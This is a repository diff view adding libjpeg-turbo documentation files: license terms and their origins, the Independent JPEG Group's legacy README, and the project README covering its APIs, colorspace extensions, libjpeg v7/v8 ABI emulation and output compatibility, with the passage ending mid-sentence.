2. If you are distributing only libjpeg-turbo binaries without the source, or
|
||||
if you are distributing an application that statically links with
|
||||
libjpeg-turbo, then:
|
||||
|
||||
1. Your product documentation must include a message stating:
|
||||
|
||||
This software is based in part on the work of the Independent JPEG
|
||||
Group.
|
||||
|
||||
**Origin**
|
||||
- Clause 2 of the IJG license
|
||||
|
||||
2. If your binary distribution includes or uses the TurboJPEG API, then
|
||||
your product documentation must include the text of the Modified BSD
|
||||
License (see below.)
|
||||
|
||||
**Origin**
|
||||
- Clause 2 of the Modified BSD License
|
||||
|
||||
3. You cannot use the name of the IJG or The libjpeg-turbo Project or the
|
||||
contributors thereof in advertising, publicity, etc.
|
||||
|
||||
**Origin**
|
||||
- IJG License
|
||||
- Clause 3 of the Modified BSD License
|
||||
|
||||
4. The IJG and The libjpeg-turbo Project do not warrant libjpeg-turbo to be
|
||||
free of defects, nor do we accept any liability for undesirable
|
||||
consequences resulting from your use of the software.
|
||||
|
||||
**Origin**
|
||||
- IJG License
|
||||
- Modified BSD License
|
||||
- zlib License
|
||||
|
||||
|
||||
The Modified (3-clause) BSD License
|
||||
===================================
|
||||
|
||||
Copyright (C) 2009-2026 D. R. Commander. All Rights Reserved.<br>
|
||||
Copyright (C) 2015 Viktor Szathmáry. All Rights Reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions are met:
|
||||
|
||||
- Redistributions of source code must retain the above copyright notice,
|
||||
this list of conditions and the following disclaimer.
|
||||
- Redistributions in binary form must reproduce the above copyright notice,
|
||||
this list of conditions and the following disclaimer in the documentation
|
||||
and/or other materials provided with the distribution.
|
||||
- Neither the name of the libjpeg-turbo Project nor the names of its
|
||||
contributors may be used to endorse or promote products derived from this
|
||||
software without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS",
|
||||
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR CONTRIBUTORS BE
|
||||
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
|
||||
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
|
||||
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
|
||||
ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
|
||||
Why Two Licenses?
|
||||
=================
|
||||
|
||||
The zlib License could have been used instead of the Modified (3-clause) BSD
|
||||
License, and since the IJG License effectively subsumes the distribution
|
||||
conditions of the zlib License, this would have effectively placed
|
||||
libjpeg-turbo binary distributions under the IJG License. However, the IJG
|
||||
License specifically refers to the Independent JPEG Group and does not extend
|
||||
attribution and endorsement protections to other entities. Thus, it was
|
||||
desirable to choose a license that granted us the same protections for new code
|
||||
that were granted to the IJG for code derived from their software.
|
||||
Executable
+260
@@ -0,0 +1,260 @@
|
||||
libjpeg-turbo note: This file has been modified by The libjpeg-turbo Project
|
||||
to include only information relevant to libjpeg-turbo, to wordsmith certain
|
||||
sections, and to remove impolitic language that existed in the libjpeg v8
|
||||
README. It is included only for reference. Please see README.md for
|
||||
information specific to libjpeg-turbo.
|
||||
|
||||
|
||||
The Independent JPEG Group's JPEG software
|
||||
==========================================
|
||||
|
||||
This distribution contains a release of the Independent JPEG Group's free JPEG
|
||||
software. You are welcome to redistribute this software and to use it for any
|
||||
purpose, subject to the conditions under LEGAL ISSUES, below.
|
||||
|
||||
This software is the work of Tom Lane, Guido Vollbeding, Philip Gladstone,
|
||||
Bill Allombert, Jim Boucher, Lee Crocker, Bob Friesenhahn, Ben Jackson,
|
||||
Julian Minguillon, Luis Ortiz, George Phillips, Davide Rossi, Ge' Weijers,
|
||||
and other members of the Independent JPEG Group.
|
||||
|
||||
IJG is not affiliated with the ISO/IEC JTC1/SC29/WG1 standards committee
|
||||
(also known as JPEG, together with ITU-T SG16).
|
||||
|
||||
|
||||
DOCUMENTATION ROADMAP
|
||||
=====================
|
||||
|
||||
This file contains the following sections:
|
||||
|
||||
OVERVIEW General description of JPEG and the IJG software.
|
||||
LEGAL ISSUES Copyright, lack of warranty, terms of distribution.
|
||||
REFERENCES Where to learn more about JPEG.
|
||||
ARCHIVE LOCATIONS Where to find newer versions of this software.
|
||||
FILE FORMAT WARS Software *not* to get.
|
||||
TO DO Plans for future IJG releases.
|
||||
|
||||
Other documentation files in the distribution are:
|
||||
|
||||
User documentation:
|
||||
doc/usage.txt Usage instructions for cjpeg, djpeg, jpegtran,
|
||||
rdjpgcom, and wrjpgcom.
|
||||
doc/*.1 Unix-style man pages for programs (same info as
|
||||
usage.txt).
|
||||
doc/wizard.txt Advanced usage instructions for JPEG wizards only.
|
||||
doc/change.log Version-to-version change highlights.
|
||||
Programmer and internal documentation:
|
||||
doc/libjpeg.txt How to use the JPEG library in your own programs.
|
||||
src/example.c Sample code for calling the JPEG library.
|
||||
doc/structure.txt Overview of the JPEG library's internal structure.
|
||||
doc/coderules.txt Coding style rules --- please read if you contribute
|
||||
code.
|
||||
|
||||
Please read at least usage.txt. Some information can also be found in the JPEG
|
||||
FAQ (Frequently Asked Questions) article. See ARCHIVE LOCATIONS below to find
|
||||
out where to obtain the FAQ article.
|
||||
|
||||
If you want to understand how the JPEG code works, we suggest reading one or
|
||||
more of the REFERENCES, then looking at the documentation files (in roughly
|
||||
the order listed) before diving into the code.
|
||||
|
||||
|
||||
OVERVIEW
|
||||
========
|
||||
|
||||
This package contains C software to implement JPEG image encoding, decoding,
|
||||
and transcoding. JPEG (pronounced "jay-peg") is a standardized compression
|
||||
method for full-color and grayscale images. JPEG's strong suit is compressing
|
||||
photographic images or other types of images that have smooth color and
|
||||
brightness transitions between neighboring pixels. Images with sharp lines or
|
||||
other abrupt features may not compress well with JPEG, and a higher JPEG
|
||||
quality may have to be used to avoid visible compression artifacts with such
|
||||
images.
|
||||
|
||||
JPEG is normally lossy, meaning that the output pixels are not necessarily
|
||||
identical to the input pixels. However, on photographic content and other
|
||||
"smooth" images, very good compression ratios can be obtained with no visible
|
||||
compression artifacts, and extremely high compression ratios are possible if
|
||||
you are willing to sacrifice image quality (by reducing the "quality" setting
|
||||
in the compressor.)
|
||||
|
||||
This software implements JPEG baseline, extended-sequential, progressive, and
|
||||
lossless compression processes. Provision is made for supporting all variants
|
||||
of these processes, although some uncommon parameter settings aren't
|
||||
implemented yet. We have made no provision for supporting the hierarchical
|
||||
processes defined in the standard.
|
||||
|
||||
We provide a set of library routines for reading and writing JPEG image files,
|
||||
plus two sample applications "cjpeg" and "djpeg", which use the library to
|
||||
perform conversion between JPEG and some other popular image file formats.
|
||||
The library is intended to be reused in other applications.
|
||||
|
||||
In order to support file conversion and viewing software, we have included
|
||||
considerable functionality beyond the bare JPEG coding/decoding capability;
|
||||
for example, the color quantization modules are not strictly part of JPEG
|
||||
decoding, but they are essential for output to colormapped file formats. These
|
||||
extra functions can be compiled out of the library if not required for a
|
||||
particular application.
|
||||
|
||||
We have also included "jpegtran", a utility for lossless transcoding between
|
||||
different JPEG processes, and "rdjpgcom" and "wrjpgcom", two simple
|
||||
applications for inserting and extracting textual comments in JFIF files.
|
||||
|
||||
The emphasis in designing this software has been on achieving portability and
|
||||
flexibility, while also making it fast enough to be useful. In particular,
|
||||
the software is not intended to be read as a tutorial on JPEG. (See the
|
||||
REFERENCES section for introductory material.) Rather, it is intended to
|
||||
be reliable, portable, industrial-strength code. We do not claim to have
|
||||
achieved that goal in every aspect of the software, but we strive for it.
|
||||
|
||||
We welcome the use of this software as a component of commercial products.
|
||||
No royalty is required, but we do ask for an acknowledgement in product
|
||||
documentation, as described under LEGAL ISSUES.
|
||||
|
||||
|
||||
LEGAL ISSUES
|
||||
============
|
||||
|
||||
In plain English:
|
||||
|
||||
1. We don't promise that this software works. (But if you find any bugs,
|
||||
please let us know!)
|
||||
2. You can use this software for whatever you want. You don't have to pay us.
|
||||
3. You may not pretend that you wrote this software. If you use it in a
|
||||
program, you must acknowledge somewhere in your documentation that
|
||||
you've used the IJG code.
|
||||
|
||||
In legalese:
|
||||
|
||||
The authors make NO WARRANTY or representation, either express or implied,
|
||||
with respect to this software, its quality, accuracy, merchantability, or
|
||||
fitness for a particular purpose. This software is provided "AS IS", and you,
|
||||
its user, assume the entire risk as to its quality and accuracy.
|
||||
|
||||
This software is copyright (C) 1991-2020, Thomas G. Lane, Guido Vollbeding.
|
||||
All Rights Reserved except as specified below.
|
||||
|
||||
Permission is hereby granted to use, copy, modify, and distribute this
|
||||
software (or portions thereof) for any purpose, without fee, subject to these
|
||||
conditions:
|
||||
(1) If any part of the source code for this software is distributed, then this
|
||||
README file must be included, with this copyright and no-warranty notice
|
||||
unaltered; and any additions, deletions, or changes to the original files
|
||||
must be clearly indicated in accompanying documentation.
|
||||
(2) If only executable code is distributed, then the accompanying
|
||||
documentation must state that "this software is based in part on the work of
|
||||
the Independent JPEG Group".
|
||||
(3) Permission for use of this software is granted only if the user accepts
|
||||
full responsibility for any undesirable consequences; the authors accept
|
||||
NO LIABILITY for damages of any kind.
|
||||
|
||||
These conditions apply to any software derived from or based on the IJG code,
|
||||
not just to the unmodified library. If you use our work, you ought to
|
||||
acknowledge us.
|
||||
|
||||
Permission is NOT granted for the use of any IJG author's name or company name
|
||||
in advertising or publicity relating to this software or products derived from
|
||||
it. This software may be referred to only as "the Independent JPEG Group's
|
||||
software".
|
||||
|
||||
We specifically permit and encourage the use of this software as the basis of
|
||||
commercial products, provided that all warranty or liability claims are
|
||||
assumed by the product vendor.
|
||||
|
||||
|
||||
REFERENCES
|
||||
==========
|
||||
|
||||
We recommend reading one or more of these references before trying to
|
||||
understand the innards of the JPEG software.
|
||||
|
||||
The best short technical introduction to the JPEG compression algorithm is
|
||||
Wallace, Gregory K. "The JPEG Still Picture Compression Standard",
|
||||
Communications of the ACM, April 1991 (vol. 34 no. 4), pp. 30-44.
|
||||
(Adjacent articles in that issue discuss MPEG motion picture compression,
|
||||
applications of JPEG, and related topics.) If you don't have the CACM issue
|
||||
handy, a PDF file containing a revised version of Wallace's article is
|
||||
available at http://www.ijg.org/files/Wallace.JPEG.pdf. The file (actually
|
||||
a preprint for an article that appeared in IEEE Trans. Consumer Electronics)
|
||||
omits the sample images that appeared in CACM, but it includes corrections
|
||||
and some added material. Note: the Wallace article is copyright ACM and IEEE,
|
||||
and it may not be used for commercial purposes.
|
||||
|
||||
A somewhat less technical, more leisurely introduction to JPEG can be found in
|
||||
"The Data Compression Book" by Mark Nelson and Jean-loup Gailly, published by
|
||||
M&T Books (New York), 2nd ed. 1996, ISBN 1-55851-434-1. This book provides
|
||||
good explanations and example C code for a multitude of compression methods
|
||||
including JPEG. It is an excellent source if you are comfortable reading C
|
||||
code but don't know much about data compression in general. The book's JPEG
|
||||
sample code is far from industrial-strength, but when you are ready to look
|
||||
at a full implementation, you've got one here...
|
||||
|
||||
The best currently available description of JPEG is the textbook "JPEG Still
|
||||
Image Data Compression Standard" by William B. Pennebaker and Joan L.
|
||||
Mitchell, published by Van Nostrand Reinhold, 1993, ISBN 0-442-01272-1.
|
||||
Price US$59.95, 638 pp. The book includes the complete text of the ISO JPEG
|
||||
standards (DIS 10918-1 and draft DIS 10918-2).
|
||||
|
||||
The original JPEG standard is divided into two parts, Part 1 being the actual
|
||||
specification, while Part 2 covers compliance testing methods. Part 1 is
|
||||
titled "Digital Compression and Coding of Continuous-tone Still Images,
|
||||
Part 1: Requirements and guidelines" and has document numbers ISO/IEC IS
|
||||
10918-1, ITU-T T.81. Part 2 is titled "Digital Compression and Coding of
|
||||
Continuous-tone Still Images, Part 2: Compliance testing" and has document
|
||||
numbers ISO/IEC IS 10918-2, ITU-T T.83.
|
||||
|
||||
The JPEG standard does not specify all details of an interchangeable file
|
||||
format. For the omitted details, we follow the "JFIF" conventions, revision
|
||||
1.02. JFIF version 1 has been adopted as ISO/IEC 10918-5 (05/2013) and
|
||||
Recommendation ITU-T T.871 (05/2011): Information technology - Digital
|
||||
compression and coding of continuous-tone still images: JPEG File Interchange
|
||||
Format (JFIF). It is available as a free download in PDF file format from
|
||||
https://www.iso.org/standard/54989.html and http://www.itu.int/rec/T-REC-T.871.
|
||||
A PDF file of the older JFIF 1.02 specification is available at
|
||||
http://www.w3.org/Graphics/JPEG/jfif3.pdf.
|
||||
|
||||
The TIFF 6.0 file format specification can be obtained from
|
||||
http://mirrors.ctan.org/graphics/tiff/TIFF6.ps.gz. The JPEG incorporation
|
||||
scheme found in the TIFF 6.0 spec of 3-June-92 has a number of serious
|
||||
problems. IJG does not recommend use of the TIFF 6.0 design (TIFF Compression
|
||||
tag 6). Instead, we recommend the JPEG design proposed by TIFF Technical Note
|
||||
#2 (Compression tag 7). Copies of this Note can be obtained from
|
||||
http://www.ijg.org/files/. It is expected that the next revision
|
||||
of the TIFF spec will replace the 6.0 JPEG design with the Note's design.
|
||||
Although IJG's own code does not support TIFF/JPEG, the free libtiff library
|
||||
uses our library to implement TIFF/JPEG per the Note.
|
||||
|
||||
|
||||
ARCHIVE LOCATIONS
|
||||
=================
|
||||
|
||||
The "official" archive site for this software is www.ijg.org.
|
||||
The most recent released version can always be found there in
|
||||
directory "files".
|
||||
|
||||
The JPEG FAQ (Frequently Asked Questions) article is a source of some
|
||||
general information about JPEG. It is available at
|
||||
http://www.faqs.org/faqs/jpeg-faq.
|
||||
|
||||
|
||||
FILE FORMAT COMPATIBILITY
|
||||
=========================
|
||||
|
||||
This software implements ITU T.81 | ISO/IEC 10918 with some extensions from
|
||||
ITU T.871 | ISO/IEC 10918-5 (JPEG File Interchange Format-- see REFERENCES).
|
||||
Informally, the term "JPEG image" or "JPEG file" most often refers to JFIF or
|
||||
a subset thereof, but there are other formats containing the name "JPEG" that
|
||||
are incompatible with the original JPEG standard or with JFIF (for instance,
|
||||
JPEG 2000 and JPEG XR). This software therefore does not support these
|
||||
formats. Indeed, one of the original reasons for developing this free software
|
||||
was to help force convergence on a common, interoperable format standard for
|
||||
JPEG files.
|
||||
|
||||
JFIF is a minimal or "low end" representation. TIFF/JPEG (TIFF revision 6.0 as
|
||||
modified by TIFF Technical Note #2) can be used for "high end" applications
|
||||
that need to record a lot of additional data about an image.
|
||||
|
||||
|
||||
TO DO
|
||||
=====
|
||||
|
||||
Please send bug reports, offers of help, etc. to [email protected].
|
||||
Executable
+375
@@ -0,0 +1,375 @@
|
||||
Background
|
||||
==========
|
||||
|
||||
libjpeg-turbo is a JPEG image codec that uses SIMD instructions to accelerate
|
||||
baseline JPEG compression and decompression on x86, x86-64, Arm, PowerPC, and
|
||||
MIPS systems, as well as progressive JPEG compression on x86, x86-64, and Arm
|
||||
systems. On such systems, libjpeg-turbo is generally 2-6x as fast as libjpeg,
|
||||
all else being equal. On other types of systems, libjpeg-turbo can still
|
||||
outperform libjpeg by a significant amount, by virtue of its highly-optimized
|
||||
Huffman coding routines. In many cases, the performance of libjpeg-turbo
|
||||
rivals that of proprietary high-speed JPEG codecs.
|
||||
|
||||
libjpeg-turbo implements both the traditional libjpeg API as well as the less
|
||||
powerful but more straightforward TurboJPEG API. libjpeg-turbo also features
|
||||
colorspace extensions that allow it to compress from/decompress to 32-bit and
|
||||
big-endian pixel buffers (RGBX, XBGR, etc.), as well as a full-featured Java
|
||||
interface.
|
||||
|
||||
libjpeg-turbo was originally based on libjpeg/SIMD, an MMX-accelerated
|
||||
derivative of libjpeg v6b developed by Miyasaka Masaru. The TigerVNC and
|
||||
VirtualGL projects made numerous enhancements to the codec in 2009, and in
|
||||
early 2010, libjpeg-turbo spun off into an independent project, with the goal
|
||||
of making high-speed JPEG compression/decompression technology available to a
|
||||
broader range of users and developers. libjpeg-turbo is an ISO/IEC and ITU-T
|
||||
reference implementation of the JPEG standard.
|
||||
|
||||
More information about libjpeg-turbo can be found at
|
||||
<https://libjpeg-turbo.org>.
|
||||
|
||||
|
||||
Funding
|
||||
=======
|
||||
|
||||
libjpeg-turbo is an independent open source project, but we rely on patronage
|
||||
and funded development in order to maintain that independence. The easiest way
|
||||
to ensure that libjpeg-turbo remains community-focused and free of any one
|
||||
organization's agenda is to
|
||||
[sponsor our project through GitHub](https://github.com/sponsors/libjpeg-turbo).
|
||||
All sponsorship money goes directly toward funding the labor necessary to
|
||||
maintain libjpeg-turbo, support the user community, and implement bug fixes and
|
||||
strategically important features.
|
||||
|
||||
[](https://github.com/sponsors/libjpeg-turbo)
|
||||
|
||||
|
||||
License
|
||||
=======
|
||||
|
||||
libjpeg-turbo is covered by three compatible BSD-style open source licenses.
|
||||
Refer to [LICENSE.md](LICENSE.md) for a roll-up of license terms.
|
||||
|
||||
|
||||
Building libjpeg-turbo
|
||||
======================
|
||||
|
||||
Refer to [BUILDING.md](BUILDING.md) for complete instructions.
|
||||
|
||||
|
||||
Using libjpeg-turbo
|
||||
===================
|
||||
|
||||
libjpeg-turbo includes two APIs that can be used to compress and decompress
|
||||
JPEG images:
|
||||
|
||||
- **TurboJPEG API**<br>
|
||||
This API provides an easy-to-use interface for compressing and decompressing
|
||||
JPEG images in memory. It also provides some functionality that would not be
|
||||
straightforward to achieve using the underlying libjpeg API, such as
|
||||
generating planar YUV images and performing multiple simultaneous lossless
|
||||
transforms on an image. The Java interface for libjpeg-turbo is written on
|
||||
top of the TurboJPEG API. The TurboJPEG API is recommended for first-time
|
||||
users of libjpeg-turbo. Refer to [tjcomp.c](src/tjcomp.c),
|
||||
[tjdecomp.c](src/tjdecomp.c), [tjtran.c](src/tjtran.c),
|
||||
[TJComp.java](java/TJComp.java), [TJDecomp.java](java/TJDecomp.java), and
|
||||
[TJTran.java](java/TJTran.java) for examples of its usage and to
|
||||
<https://libjpeg-turbo.org/Documentation/Documentation> for API
|
||||
documentation.
|
||||
|
||||
- **libjpeg API**<br>
|
||||
This is the de facto industry-standard API for compressing and decompressing
|
||||
JPEG images. It is more difficult to use than the TurboJPEG API but also
|
||||
more powerful. The libjpeg API implementation in libjpeg-turbo is both
|
||||
API/ABI-compatible and mathematically compatible with libjpeg v6b. It can
|
||||
also optionally be configured to be API/ABI-compatible with libjpeg v7 and v8
|
||||
(see below.) Refer to [cjpeg.c](src/cjpeg.c) and [djpeg.c](src/djpeg.c) for
|
||||
examples of its usage and to [libjpeg.txt](doc/libjpeg.txt) for API
|
||||
documentation.
|
||||
|
||||
There is no significant performance advantage to either API when both are used
|
||||
to perform similar operations.
|
||||
|
||||
Colorspace Extensions
|
||||
---------------------
|
||||
|
||||
libjpeg-turbo includes extensions that allow JPEG images to be compressed
|
||||
directly from (and decompressed directly to) buffers that use BGR, BGRX,
|
||||
RGBX, XBGR, and XRGB pixel ordering. This is implemented with ten new
|
||||
colorspace constants:
|
||||
|
||||
JCS_EXT_RGB /* red/green/blue */
|
||||
JCS_EXT_RGBX /* red/green/blue/x */
|
||||
JCS_EXT_BGR /* blue/green/red */
|
||||
JCS_EXT_BGRX /* blue/green/red/x */
|
||||
JCS_EXT_XBGR /* x/blue/green/red */
|
||||
JCS_EXT_XRGB /* x/red/green/blue */
|
||||
JCS_EXT_RGBA /* red/green/blue/alpha */
|
||||
JCS_EXT_BGRA /* blue/green/red/alpha */
|
||||
JCS_EXT_ABGR /* alpha/blue/green/red */
|
||||
JCS_EXT_ARGB /* alpha/red/green/blue */
|
||||
|
||||
Setting `cinfo.in_color_space` (compression) or `cinfo.out_color_space`
|
||||
(decompression) to one of these values will cause libjpeg-turbo to read the
|
||||
red, green, and blue values from (or write them to) the appropriate position in
|
||||
the pixel when compressing from/decompressing to an RGB buffer.
|
||||
|
||||
Your application can check for the existence of these extensions at compile
|
||||
time with:
|
||||
|
||||
#ifdef JCS_EXTENSIONS
|
||||
|
||||
At run time, attempting to use these extensions with a libjpeg implementation
|
||||
that does not support them will result in a "Bogus input colorspace" error.
|
||||
Applications can trap this error in order to test whether run-time support is
|
||||
available for the colorspace extensions.
|
||||
|
||||
When using the RGBX, BGRX, XBGR, and XRGB colorspaces during decompression, the
|
||||
X byte is undefined, and in order to ensure the best performance, libjpeg-turbo
|
||||
can set that byte to whatever value it wishes. If an application expects the X
|
||||
byte to be used as an alpha channel, then it should specify `JCS_EXT_RGBA`,
|
||||
`JCS_EXT_BGRA`, `JCS_EXT_ABGR`, or `JCS_EXT_ARGB`. When these colorspace
|
||||
constants are used, the X byte is guaranteed to be 0xFF, which is interpreted
|
||||
as opaque.
|
||||
|
||||
Your application can check for the existence of the alpha channel colorspace
|
||||
extensions at compile time with:
|
||||
|
||||
#ifdef JCS_ALPHA_EXTENSIONS
|
||||
|
||||
[jcstest.c](src/jcstest.c), located in the libjpeg-turbo source tree,
|
||||
demonstrates how to check for the existence of the colorspace extensions at
|
||||
compile time and run time.
|
||||
|
||||
libjpeg v7 and v8 API/ABI Emulation
|
||||
-----------------------------------
|
||||
|
||||
With libjpeg v7 and v8, new features were added that necessitated extending the
|
||||
compression and decompression structures. Unfortunately, due to the exposed
|
||||
nature of those structures, extending them also necessitated breaking backward
|
||||
ABI compatibility with previous libjpeg releases. Thus, programs that were
|
||||
built to use libjpeg v7 or v8 did not work with libjpeg-turbo, since it is
|
||||
based on the libjpeg v6b code base. Although libjpeg v7 and v8 are not
|
||||
as widely used as v6b, enough programs (including a few Linux distros) made
|
||||
the switch that there was a demand to emulate the libjpeg v7 and v8 ABIs
|
||||
in libjpeg-turbo. It should be noted, however, that this feature was added
|
||||
primarily so that applications that had already been compiled to use libjpeg
|
||||
v7+ could take advantage of accelerated baseline JPEG encoding/decoding
|
||||
without recompiling. libjpeg-turbo does not claim to support all of the
|
||||
libjpeg v7+ features, nor to produce identical output to libjpeg v7+ in all
|
||||
cases (see below.)
|
||||
|
||||
By passing an argument of `-DWITH_JPEG7=1` or `-DWITH_JPEG8=1` to `cmake`, you
|
||||
can build a version of libjpeg-turbo that emulates the libjpeg v7 or v8 ABI, so
|
||||
that programs that are built against libjpeg v7 or v8 can be run with
|
||||
libjpeg-turbo. The following section describes which libjpeg v7+ features are
|
||||
supported and which aren't.
|
||||
|
||||
### Support for libjpeg v7 and v8 Features
|
||||
|
||||
#### Fully supported
|
||||
|
||||
- **libjpeg API: IDCT scaling extensions in decompressor**<br>
|
||||
libjpeg-turbo supports IDCT scaling with scaling factors of 1/8, 1/4, 3/8,
|
||||
1/2, 5/8, 3/4, 7/8, 9/8, 5/4, 11/8, 3/2, 13/8, 7/4, 15/8, and 2/1 (only 1/4
|
||||
and 1/2 are SIMD-accelerated.)
|
||||
|
||||
- **libjpeg API: Arithmetic coding**
|
||||
|
||||
- **libjpeg API: In-memory source and destination managers**<br>
|
||||
See notes below.
|
||||
|
||||
- **cjpeg: Separate quality settings for luminance and chrominance**<br>
|
||||
Note that the libpjeg v7+ API was extended to accommodate this feature only
|
||||
for convenience purposes. It has always been possible to implement this
|
||||
feature with libjpeg v6b (see rdswitch.c for an example.)
|
||||
|
||||
- **cjpeg: 32-bit BMP support**
|
||||
|
||||
- **cjpeg: `-rgb` option**
|
||||
|
||||
- **jpegtran: Lossless cropping**
|
||||
|
||||
- **jpegtran: `-perfect` option**
|
||||
|
||||
- **jpegtran: Forcing width/height when performing lossless crop**
|
||||
|
||||
- **rdjpgcom: `-raw` option**
|
||||
|
||||
- **rdjpgcom: Locale awareness**
|
||||
|
||||
|
||||
#### Not supported
|
||||
|
||||
NOTE: As of this writing, extensive research has been conducted into the
|
||||
usefulness of DCT scaling as a means of data reduction and SmartScale as a
|
||||
means of quality improvement. Readers are invited to peruse the research at
|
||||
<https://libjpeg-turbo.org/About/SmartScale> and draw their own conclusions,
|
||||
but it is the general belief of our project that these features have not
|
||||
demonstrated sufficient usefulness to justify inclusion in libjpeg-turbo.
|
||||
|
||||
- **libjpeg API: DCT scaling in compressor**<br>
|
||||
`cinfo.scale_num` and `cinfo.scale_denom` are silently ignored.
|
||||
There is no technical reason why DCT scaling could not be supported when
|
||||
emulating the libjpeg v7+ API/ABI, but without the SmartScale extension (see
|
||||
below), only scaling factors of 1/2, 8/15, 4/7, 8/13, 2/3, 8/11, 4/5, and
|
||||
8/9 would be available, which is of limited usefulness.
|
||||
|
||||
- **libjpeg API: SmartScale**<br>
|
||||
`cinfo.block_size` is silently ignored.
|
||||
SmartScale is an extension to the JPEG format that allows for DCT block
|
||||
sizes other than 8x8. Providing support for this new format would be
|
||||
feasible (particularly without full acceleration.) However, until/unless
|
||||
the format becomes either an official industry standard or, at minimum, an
|
||||
accepted solution in the community, we are hesitant to implement it, as
|
||||
there is no sense of whether or how it might change in the future. It is
|
||||
our belief that SmartScale has not demonstrated sufficient usefulness as a
|
||||
lossless format nor as a means of quality enhancement, and thus our primary
|
||||
interest in providing this feature would be as a means of supporting
|
||||
additional DCT scaling factors.
|
||||
|
||||
- **libjpeg API: Fancy downsampling in compressor**<br>
|
||||
`cinfo.do_fancy_downsampling` is silently ignored.
|
||||
This requires the DCT scaling feature, which is not supported.
|
||||
|
||||
- **jpegtran: Scaling**<br>
|
||||
This requires both the DCT scaling and SmartScale features, which are not
|
||||
supported.
|
||||
|
||||
- **Lossless RGB JPEG files**<br>
|
||||
This requires the SmartScale feature, which is not supported.
|
||||
|
||||
### What About libjpeg v9?
|
||||
|
||||
libjpeg v9 introduced yet another field to the JPEG compression structure
|
||||
(`color_transform`), thus making the ABI backward incompatible with that of
|
||||
libjpeg v8. This new field was introduced solely for the purpose of supporting
|
||||
lossless SmartScale encoding. Furthermore, there was actually no reason to
|
||||
extend the API in this manner, as the color transform could have just as easily
|
||||
been activated by way of a new JPEG colorspace constant, thus preserving
|
||||
backward ABI compatibility.
|
||||
|
||||
Our research (see link above) has shown that lossless SmartScale does not
|
||||
generally accomplish anything that can't already be accomplished better with
|
||||
existing, standard lossless formats. Therefore, at this time it is our belief
|
||||
that there is not sufficient technical justification for software projects to
|
||||
upgrade from libjpeg v8 to libjpeg v9, and thus there is not sufficient
|
||||
technical justification for us to emulate the libjpeg v9 ABI.
|
||||
|
||||
In-Memory Source/Destination Managers
|
||||
-------------------------------------
|
||||
|
||||
By default, libjpeg-turbo 1.3 and later includes the `jpeg_mem_src()` and
|
||||
`jpeg_mem_dest()` functions, even when not emulating the libjpeg v8 API/ABI.
|
||||
Previously, it was necessary to build libjpeg-turbo from source with libjpeg v8
|
||||
API/ABI emulation in order to use the in-memory source/destination managers,
|
||||
but several projects requested that those functions be included when emulating
|
||||
the libjpeg v6b API/ABI as well. This allows the use of those functions by
|
||||
programs that need them, without breaking ABI compatibility for programs that
|
||||
don't, and it allows those functions to be provided in the "official"
|
||||
libjpeg-turbo binaries.
|
||||
|
||||
Note that, on most Un*x systems, the dynamic linker will not look for a
|
||||
function in a library until that function is actually used. Thus, if a program
|
||||
is built against libjpeg-turbo 1.3+ and uses `jpeg_mem_src()` or
|
||||
`jpeg_mem_dest()`, that program will not fail if run against an older version
|
||||
of libjpeg-turbo or against libjpeg v7- until the program actually tries to
|
||||
call `jpeg_mem_src()` or `jpeg_mem_dest()`. Such is not the case on Windows.
|
||||
If a program is built against the libjpeg-turbo 1.3+ DLL and uses
|
||||
`jpeg_mem_src()` or `jpeg_mem_dest()`, then it must use the libjpeg-turbo 1.3+
|
||||
DLL at run time.
|
||||
|
||||
Both cjpeg and djpeg have been extended to allow testing the in-memory
|
||||
source/destination manager functions. See their respective man pages for more
|
||||
details.
|
||||
|
||||
|
||||
Mathematical Compatibility
|
||||
==========================
|
||||
|
||||
For the most part, libjpeg-turbo should produce identical output to libjpeg
|
||||
v6b. There are two exceptions:
|
||||
|
||||
1. When decompressing a JPEG image that uses 4:4:0 chrominance subsampling, the
|
||||
outputs of libjpeg v6b and libjpeg-turbo can differ because libjpeg-turbo
|
||||
implements a "fancy" (smooth) 4:4:0 upsampling algorithm and libjpeg did not.
|
||||
|
||||
2. When using the floating point DCT/IDCT, the outputs of libjpeg v6b and
|
||||
libjpeg-turbo can differ for the following reasons:
|
||||
|
||||
- The SSE/SSE2 floating point DCT implementation in libjpeg-turbo is ever
|
||||
so slightly more accurate than the implementation in libjpeg v6b, but not
|
||||
by any amount perceptible to human vision (generally in the range of 0.01
|
||||
to 0.08 dB gain in PNSR.)
|
||||
|
||||
- When not using the SIMD extensions, libjpeg-turbo uses the more accurate
|
||||
(and slightly faster) floating point IDCT algorithm introduced in libjpeg
|
||||
v8a as opposed to the algorithm used in libjpeg v6b. It should be noted,
|
||||
however, that this algorithm basically brings the accuracy of the
|
||||
floating point IDCT in line with the accuracy of the accurate integer
|
||||
IDCT. The floating point DCT/IDCT algorithms are mainly a legacy
|
||||
feature, and they do not produce significantly more accuracy than the
|
||||
accurate integer algorithms. (To put numbers on this, the typical
|
||||
difference in PNSR between the two algorithms is less than 0.10 dB,
|
||||
whereas changing the quality level by 1 in the upper range of the quality
|
||||
scale is typically more like a 1.0 dB difference.)
|
||||
|
||||
- If the floating point algorithms in libjpeg-turbo are not implemented
|
||||
using SIMD instructions on a particular platform, then the accuracy of
|
||||
the floating point DCT/IDCT can depend on the compiler settings.
|
||||
|
||||
While libjpeg-turbo does emulate the libjpeg v8 API/ABI, under the hood it is
|
||||
still using the same algorithms as libjpeg v6b, so there are several specific
|
||||
